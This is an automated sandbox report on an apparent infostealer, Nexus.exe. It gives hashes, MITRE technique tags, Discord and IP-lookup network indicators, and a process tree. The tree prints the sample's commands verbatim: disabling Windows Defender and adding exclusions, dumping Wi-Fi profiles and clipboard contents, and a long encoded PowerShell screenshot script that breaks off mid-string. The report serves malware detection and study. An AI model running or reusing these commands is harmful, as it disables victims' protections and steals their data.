905baec4d70f9e1b1f8f0a6377de9d50b54e34489888de800e03c8de2a9fb97a

Analysis

max time kernel
99s
max time network
124s
platform
windows10-2004_x64
resource
win10v2004-20240426-en
resource tags

arch:x64arch:x86image:win10v2004-20240426-enlocale:en-usos:windows10-2004-x64system
submitted
08/06/2024, 19:37

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
Nexus.exe
Size 6.9MB
Sample240608-ybtbjsga22
SHA256 905baec4d70f9e1b1f8f0a6377de9d50b54e34489888de800e03c8de2a9fb97a
MD5 4c387084af4f8ca5e788a9ce34ce60f0
SHA1 8eba53e02266b4f8758f0452b2aaac1e694fb231
SHA512 07530826cf9eb8affb3684029f2ae042f6a6b4faecf78520594cb4138b47d231fe334a9baa4d903998265b0bad67bbaf891bb5ed59e1ce27d566c75ae6b59227
SSDEEP 98304:wrrBYzdbM+Q2y+aq0FrjOjFgFQlwq4Mjk+dBZtu9xTtwz/aer6/BbQEJ1nL2hBnm:wrrIf0FfOjmFQR4MVGFtwLPCnL2hVcR
MD5 SHA1 SHA512 SSDEEP

Score

8^/10

execution spyware stealer upx

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
3100	powershell.exe
4204	powershell.exe
2172	powershell.exe

Drops file in Drivers directory 3 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\drivers\etc\hosts	attrib.exe
File opened for modification	C:\Windows\System32\drivers\etc\hosts	Nexus.exe
File opened for modification	C:\Windows\System32\drivers\etc\hosts	attrib.exe

Executes dropped EXE 1 IoCs

pid	Process
1100	rar.exe

Loads dropped DLL 17 IoCs

pid	Process
2616	Nexus.exe
2616	Nexus.exe
2616	Nexus.exe
2616	Nexus.exe
2616	Nexus.exe
2616	Nexus.exe
2616	Nexus.exe
2616	Nexus.exe
2616	Nexus.exe
2616	Nexus.exe
2616	Nexus.exe
2616	Nexus.exe
2616	Nexus.exe
2616	Nexus.exe
2616	Nexus.exe
2616	Nexus.exe
2616	Nexus.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

UPX packed file 57 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/files/0x0007000000023437-21.dat	upx
behavioral2/memory/2616-25-0x00007FF825B20000-0x00007FF826109000-memory.dmp	upx
behavioral2/files/0x000700000002342a-28.dat	upx
behavioral2/memory/2616-30-0x00007FF835880000-0x00007FF8358A3000-memory.dmp	upx
behavioral2/files/0x0007000000023431-47.dat	upx
behavioral2/files/0x0007000000023430-46.dat	upx
behavioral2/files/0x000700000002342f-45.dat	upx
behavioral2/memory/2616-48-0x00007FF839540000-0x00007FF83954F000-memory.dmp	upx
behavioral2/files/0x000700000002342e-44.dat	upx
behavioral2/files/0x000700000002342d-43.dat	upx
behavioral2/files/0x000700000002342c-42.dat	upx
behavioral2/files/0x000700000002342b-41.dat	upx
behavioral2/files/0x0007000000023429-40.dat	upx
behavioral2/files/0x000700000002343c-39.dat	upx
behavioral2/files/0x000700000002343b-38.dat	upx
behavioral2/files/0x000700000002343a-37.dat	upx
behavioral2/files/0x0007000000023436-34.dat	upx
behavioral2/files/0x0007000000023434-33.dat	upx
behavioral2/files/0x0007000000023435-31.dat	upx
behavioral2/memory/2616-54-0x00007FF839570000-0x00007FF83959D000-memory.dmp	upx
behavioral2/memory/2616-56-0x00007FF839550000-0x00007FF839569000-memory.dmp	upx
behavioral2/memory/2616-58-0x00007FF835810000-0x00007FF835833000-memory.dmp	upx
behavioral2/memory/2616-60-0x00007FF8259B0000-0x00007FF825B20000-memory.dmp	upx
behavioral2/memory/2616-62-0x00007FF8355F0000-0x00007FF835609000-memory.dmp	upx
behavioral2/memory/2616-64-0x00007FF839530000-0x00007FF83953D000-memory.dmp	upx
behavioral2/memory/2616-66-0x00007FF8355C0000-0x00007FF8355EE000-memory.dmp	upx
behavioral2/memory/2616-70-0x00007FF825B20000-0x00007FF826109000-memory.dmp	upx
behavioral2/memory/2616-71-0x00007FF835380000-0x00007FF835438000-memory.dmp	upx
behavioral2/memory/2616-74-0x00007FF835880000-0x00007FF8358A3000-memory.dmp	upx
behavioral2/memory/2616-73-0x00007FF825630000-0x00007FF8259A9000-memory.dmp	upx
behavioral2/memory/2616-76-0x00007FF835360000-0x00007FF835374000-memory.dmp	upx
behavioral2/memory/2616-78-0x00007FF8360D0000-0x00007FF8360DD000-memory.dmp	upx
behavioral2/memory/2616-82-0x00007FF8252B0000-0x00007FF8253CC000-memory.dmp	upx
behavioral2/memory/2616-83-0x00007FF835810000-0x00007FF835833000-memory.dmp	upx
behavioral2/memory/2616-85-0x00007FF8259B0000-0x00007FF825B20000-memory.dmp	upx
behavioral2/memory/2616-272-0x00007FF8355F0000-0x00007FF835609000-memory.dmp	upx
behavioral2/memory/2616-313-0x00007FF8355C0000-0x00007FF8355EE000-memory.dmp	upx
behavioral2/memory/2616-314-0x00007FF835380000-0x00007FF835438000-memory.dmp	upx
behavioral2/memory/2616-326-0x00007FF825630000-0x00007FF8259A9000-memory.dmp	upx
behavioral2/memory/2616-321-0x00007FF8259B0000-0x00007FF825B20000-memory.dmp	upx
behavioral2/memory/2616-315-0x00007FF825B20000-0x00007FF826109000-memory.dmp	upx
behavioral2/memory/2616-316-0x00007FF835880000-0x00007FF8358A3000-memory.dmp	upx
behavioral2/memory/2616-345-0x00007FF8252B0000-0x00007FF8253CC000-memory.dmp	upx
behavioral2/memory/2616-355-0x00007FF8355C0000-0x00007FF8355EE000-memory.dmp	upx
behavioral2/memory/2616-354-0x00007FF839530000-0x00007FF83953D000-memory.dmp	upx
behavioral2/memory/2616-353-0x00007FF8355F0000-0x00007FF835609000-memory.dmp	upx
behavioral2/memory/2616-352-0x00007FF8259B0000-0x00007FF825B20000-memory.dmp	upx
behavioral2/memory/2616-351-0x00007FF835810000-0x00007FF835833000-memory.dmp	upx
behavioral2/memory/2616-350-0x00007FF839550000-0x00007FF839569000-memory.dmp	upx
behavioral2/memory/2616-349-0x00007FF839570000-0x00007FF83959D000-memory.dmp	upx
behavioral2/memory/2616-348-0x00007FF839540000-0x00007FF83954F000-memory.dmp	upx
behavioral2/memory/2616-347-0x00007FF835880000-0x00007FF8358A3000-memory.dmp	upx
behavioral2/memory/2616-346-0x00007FF825630000-0x00007FF8259A9000-memory.dmp	upx
behavioral2/memory/2616-341-0x00007FF835380000-0x00007FF835438000-memory.dmp	upx
behavioral2/memory/2616-344-0x00007FF8360D0000-0x00007FF8360DD000-memory.dmp	upx
behavioral2/memory/2616-343-0x00007FF835360000-0x00007FF835374000-memory.dmp	upx
behavioral2/memory/2616-331-0x00007FF825B20000-0x00007FF826109000-memory.dmp	upx

Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials In Files
T1552.001

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
22	discord.com
21	discord.com

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
19	ip-api.com

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
1988	WMIC.exe

Enumerates processes with tasklist 1 TTPs 4 IoCs

Process Discovery

T1057

pid	Process
2412	tasklist.exe
4076	tasklist.exe
2940	tasklist.exe
4792	tasklist.exe

Gathers system information 1 TTPs 1 IoCs

Runs systeminfo.exe.

System Information Discovery

T1082

pid	Process
4736	systeminfo.exe

Suspicious behavior: EnumeratesProcesses 22 IoCs

pid	Process
3212	powershell.exe
4204	powershell.exe
2172	powershell.exe
4204	powershell.exe
2172	powershell.exe
2172	powershell.exe
3212	powershell.exe
3212	powershell.exe
3476	powershell.exe
3476	powershell.exe
3100	powershell.exe
3100	powershell.exe
3476	powershell.exe
3100	powershell.exe
3980	powershell.exe
3980	powershell.exe
856	powershell.exe
856	powershell.exe
1800	powershell.exe
1800	powershell.exe
3200	powershell.exe
3200	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	3212	powershell.exe
Token: SeDebugPrivilege	4204	powershell.exe
Token: SeDebugPrivilege	2172	powershell.exe
Token: SeDebugPrivilege	2412	tasklist.exe
Token: SeDebugPrivilege	4076	tasklist.exe
Token: SeIncreaseQuotaPrivilege	4412	WMIC.exe
Token: SeSecurityPrivilege	4412	WMIC.exe
Token: SeTakeOwnershipPrivilege	4412	WMIC.exe
Token: SeLoadDriverPrivilege	4412	WMIC.exe
Token: SeSystemProfilePrivilege	4412	WMIC.exe
Token: SeSystemtimePrivilege	4412	WMIC.exe
Token: SeProfSingleProcessPrivilege	4412	WMIC.exe
Token: SeIncBasePriorityPrivilege	4412	WMIC.exe
Token: SeCreatePagefilePrivilege	4412	WMIC.exe
Token: SeBackupPrivilege	4412	WMIC.exe
Token: SeRestorePrivilege	4412	WMIC.exe
Token: SeShutdownPrivilege	4412	WMIC.exe
Token: SeDebugPrivilege	4412	WMIC.exe
Token: SeSystemEnvironmentPrivilege	4412	WMIC.exe
Token: SeRemoteShutdownPrivilege	4412	WMIC.exe
Token: SeUndockPrivilege	4412	WMIC.exe
Token: SeManageVolumePrivilege	4412	WMIC.exe
Token: 33	4412	WMIC.exe
Token: 34	4412	WMIC.exe
Token: 35	4412	WMIC.exe
Token: 36	4412	WMIC.exe
Token: SeDebugPrivilege	2940	tasklist.exe
Token: SeDebugPrivilege	3100	powershell.exe
Token: SeDebugPrivilege	3476	powershell.exe
Token: SeIncreaseQuotaPrivilege	4412	WMIC.exe
Token: SeSecurityPrivilege	4412	WMIC.exe
Token: SeTakeOwnershipPrivilege	4412	WMIC.exe
Token: SeLoadDriverPrivilege	4412	WMIC.exe
Token: SeSystemProfilePrivilege	4412	WMIC.exe
Token: SeSystemtimePrivilege	4412	WMIC.exe
Token: SeProfSingleProcessPrivilege	4412	WMIC.exe
Token: SeIncBasePriorityPrivilege	4412	WMIC.exe
Token: SeCreatePagefilePrivilege	4412	WMIC.exe
Token: SeBackupPrivilege	4412	WMIC.exe
Token: SeRestorePrivilege	4412	WMIC.exe
Token: SeShutdownPrivilege	4412	WMIC.exe
Token: SeDebugPrivilege	4412	WMIC.exe
Token: SeSystemEnvironmentPrivilege	4412	WMIC.exe
Token: SeRemoteShutdownPrivilege	4412	WMIC.exe
Token: SeUndockPrivilege	4412	WMIC.exe
Token: SeManageVolumePrivilege	4412	WMIC.exe
Token: 33	4412	WMIC.exe
Token: 34	4412	WMIC.exe
Token: 35	4412	WMIC.exe
Token: 36	4412	WMIC.exe
Token: SeDebugPrivilege	4792	tasklist.exe
Token: SeDebugPrivilege	3980	powershell.exe
Token: SeDebugPrivilege	856	powershell.exe
Token: SeIncreaseQuotaPrivilege	4272	WMIC.exe
Token: SeSecurityPrivilege	4272	WMIC.exe
Token: SeTakeOwnershipPrivilege	4272	WMIC.exe
Token: SeLoadDriverPrivilege	4272	WMIC.exe
Token: SeSystemProfilePrivilege	4272	WMIC.exe
Token: SeSystemtimePrivilege	4272	WMIC.exe
Token: SeProfSingleProcessPrivilege	4272	WMIC.exe
Token: SeIncBasePriorityPrivilege	4272	WMIC.exe
Token: SeCreatePagefilePrivilege	4272	WMIC.exe
Token: SeBackupPrivilege	4272	WMIC.exe
Token: SeRestorePrivilege	4272	WMIC.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1328 wrote to memory of 2616	1328	Nexus.exe	82
PID 1328 wrote to memory of 2616	1328	Nexus.exe	82
PID 2616 wrote to memory of 1092	2616	Nexus.exe	86
PID 2616 wrote to memory of 1092	2616	Nexus.exe	86
PID 2616 wrote to memory of 4140	2616	Nexus.exe	87
PID 2616 wrote to memory of 4140	2616	Nexus.exe	87
PID 2616 wrote to memory of 60	2616	Nexus.exe	89
PID 2616 wrote to memory of 60	2616	Nexus.exe	89
PID 4140 wrote to memory of 3212	4140	cmd.exe	92
PID 4140 wrote to memory of 3212	4140	cmd.exe	92
PID 1092 wrote to memory of 2172	1092	cmd.exe	93
PID 1092 wrote to memory of 2172	1092	cmd.exe	93
PID 60 wrote to memory of 4204	60	cmd.exe	94
PID 60 wrote to memory of 4204	60	cmd.exe	94
PID 2616 wrote to memory of 5004	2616	Nexus.exe	95
PID 2616 wrote to memory of 5004	2616	Nexus.exe	95
PID 2616 wrote to memory of 852	2616	Nexus.exe	96
PID 2616 wrote to memory of 852	2616	Nexus.exe	96
PID 2616 wrote to memory of 2880	2616	Nexus.exe	99
PID 2616 wrote to memory of 2880	2616	Nexus.exe	99
PID 2616 wrote to memory of 4884	2616	Nexus.exe	100
PID 2616 wrote to memory of 4884	2616	Nexus.exe	100
PID 5004 wrote to memory of 2412	5004	cmd.exe	101
PID 5004 wrote to memory of 2412	5004	cmd.exe	101
PID 2616 wrote to memory of 1512	2616	Nexus.exe	104
PID 2616 wrote to memory of 1512	2616	Nexus.exe	104
PID 852 wrote to memory of 4076	852	cmd.exe	105
PID 852 wrote to memory of 4076	852	cmd.exe	105
PID 2616 wrote to memory of 4752	2616	Nexus.exe	106
PID 2616 wrote to memory of 4752	2616	Nexus.exe	106
PID 2616 wrote to memory of 4968	2616	Nexus.exe	108
PID 2616 wrote to memory of 4968	2616	Nexus.exe	108
PID 2616 wrote to memory of 2228	2616	Nexus.exe	110
PID 2616 wrote to memory of 2228	2616	Nexus.exe	110
PID 2616 wrote to memory of 3744	2616	Nexus.exe	112
PID 2616 wrote to memory of 3744	2616	Nexus.exe	112
PID 2616 wrote to memory of 1432	2616	Nexus.exe	114
PID 2616 wrote to memory of 1432	2616	Nexus.exe	114
PID 2880 wrote to memory of 3476	2880	cmd.exe	151
PID 2880 wrote to memory of 3476	2880	cmd.exe	151
PID 4884 wrote to memory of 4412	4884	cmd.exe	155
PID 4884 wrote to memory of 4412	4884	cmd.exe	155
PID 1432 wrote to memory of 3100	1432	cmd.exe	120
PID 1432 wrote to memory of 3100	1432	cmd.exe	120
PID 2228 wrote to memory of 4736	2228	cmd.exe	121
PID 2228 wrote to memory of 4736	2228	cmd.exe	121
PID 1512 wrote to memory of 2940	1512	cmd.exe	122
PID 1512 wrote to memory of 2940	1512	cmd.exe	122
PID 3744 wrote to memory of 2812	3744	cmd.exe	123
PID 3744 wrote to memory of 2812	3744	cmd.exe	123
PID 4752 wrote to memory of 3888	4752	cmd.exe	124
PID 4752 wrote to memory of 3888	4752	cmd.exe	124
PID 4968 wrote to memory of 1064	4968	cmd.exe	125
PID 4968 wrote to memory of 1064	4968	cmd.exe	125
PID 2616 wrote to memory of 100	2616	Nexus.exe	126
PID 2616 wrote to memory of 100	2616	Nexus.exe	126
PID 100 wrote to memory of 3840	100	cmd.exe	128
PID 100 wrote to memory of 3840	100	cmd.exe	128
PID 2616 wrote to memory of 224	2616	Nexus.exe	129
PID 2616 wrote to memory of 224	2616	Nexus.exe	129
PID 2616 wrote to memory of 1740	2616	Nexus.exe	131
PID 2616 wrote to memory of 1740	2616	Nexus.exe	131
PID 3100 wrote to memory of 4440	3100	powershell.exe	133
PID 3100 wrote to memory of 4440	3100	powershell.exe	133

Views/modifies file attributes 1 TTPs 2 IoCs

evasion

Hidden Files and Directories

T1564.001

pid	Process
4220	attrib.exe
4904	attrib.exe

C:\Users\Admin\AppData\Local\Temp\Nexus.exe
"C:\Users\Admin\AppData\Local\Temp\Nexus.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:1328
- C:\Users\Admin\AppData\Local\Temp\Nexus.exe
  "C:\Users\Admin\AppData\Local\Temp\Nexus.exe"
  2⤵
  - Drops file in Drivers directory
  - Loads dropped DLL
  - Suspicious use of WriteProcessMemory
  PID:2616
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Nexus.exe'"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1092
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Nexus.exe'
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2172
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4140
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:3212
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\‍‏‏ .scr'"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:60
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\‍‏‏ .scr'
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:4204
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:5004
  - - C:\Windows\system32\tasklist.exe
      tasklist /FO LIST
      4⤵
      Enumerates processes with tasklist
      Suspicious use of AdjustPrivilegeToken
      PID:2412
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:852
  - - C:\Windows\system32\tasklist.exe
      tasklist /FO LIST
      4⤵
      Enumerates processes with tasklist
      Suspicious use of AdjustPrivilegeToken
      PID:4076
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell Get-Clipboard"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2880
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Get-Clipboard
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:3476
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4884
  - - C:\Windows\System32\Wbem\WMIC.exe
      WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:4412
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1512
  - - C:\Windows\system32\tasklist.exe
      tasklist /FO LIST
      4⤵
      Enumerates processes with tasklist
      Suspicious use of AdjustPrivilegeToken
      PID:2940
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tree /A /F"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4752
  - - C:\Windows\system32\tree.com
      tree /A /F
      4⤵
      PID:3888
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "netsh wlan show profile"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4968
  - - C:\Windows\system32\netsh.exe
      netsh wlan show profile
      4⤵
      PID:1064
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "systeminfo"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2228
  - - C:\Windows\system32\systeminfo.exe
      systeminfo
      4⤵
      Gathers system information
      PID:4736
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters /V DataBasePath"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3744
  - - C:\Windows\system32\reg.exe
      REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters /V DataBasePath
      4⤵
      PID:2812
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA="
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1432
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAg